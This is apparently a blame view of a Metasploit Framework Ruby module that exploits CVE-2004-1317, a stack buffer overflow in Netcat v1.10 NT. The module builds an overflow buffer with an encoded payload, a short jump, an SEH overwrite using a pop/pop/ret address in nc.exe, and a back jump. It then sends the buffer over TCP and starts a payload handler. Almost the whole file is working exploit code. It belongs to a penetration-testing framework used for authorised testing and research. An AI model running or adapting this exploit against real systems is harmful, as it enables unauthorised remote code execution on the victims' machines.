Files
metasploit-gs/modules/exploits/windows/misc/netcat110_nt.rb
T

70 lines
1.9 KiB
Ruby
Raw Normal View History

2007-09-26 13:44:25 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2007-09-26 13:44:25 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 16:28:54 -05:00
Rank = GreatRanking
2007-09-26 13:44:25 +00:00
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::Tcp
2007-09-26 13:44:25 +00:00
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Netcat v1.10 NT Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Netcat v1.10 NT. By sending
an overly long string we are able to overwrite SEH. The vulnerability
exists when netcat is used to bind (-e) an executable to a port in doexec.c.
This module tested successfully using "c:\>nc -L -p 31337 -e ftp".
},
2017-11-09 03:00:24 +11:00
'Author' => 'aushack',
2013-08-30 16:28:54 -05:00
'Arch' => [ ARCH_X86 ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2004-1317' ],
[ 'OSVDB', '12612' ],
2013-08-30 16:28:54 -05:00
[ 'BID', '12106' ],
[ 'EDB', '726' ]
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 236,
'BadChars' => "\x00\x0a\x0d",
'StackAdjustment' => -3500,
},
'Platform' => ['win'],
'Targets' =>
[
# Patrick - Tested OK 2007/09/26 w2ksp0, w2ksp4, xpsp2 en.
[ 'Universal nc.exe', { 'Ret' => 0x0040a6ce } ], # p/p/r nc.exe
],
'DisclosureDate' => 'Dec 27 2004',
'DefaultTarget' => 0))
end
2007-09-26 13:44:25 +00:00
2013-08-30 16:28:54 -05:00
def autofilter
false
end
2007-09-26 13:44:25 +00:00
2013-08-30 16:28:54 -05:00
def exploit
connect
2007-09-26 13:44:25 +00:00
2013-08-30 16:28:54 -05:00
sploit = rand_text(277, payload_badchars)
sploit[0, payload.encoded.length] = payload.encoded
sploit[236, 2] = Rex::Arch::X86.jmp_short(6)
sploit[240, 4] = [target['Ret']].pack('V')
sploit[244, 5] = Rex::Arch::X86.jmp(0xffffff08)
2007-09-26 13:44:25 +00:00
2013-08-30 16:28:54 -05:00
sock.put(sploit)
2007-09-26 13:44:25 +00:00
2013-08-30 16:28:54 -05:00
handler
disconnect
end
2009-07-16 16:02:24 +00:00
end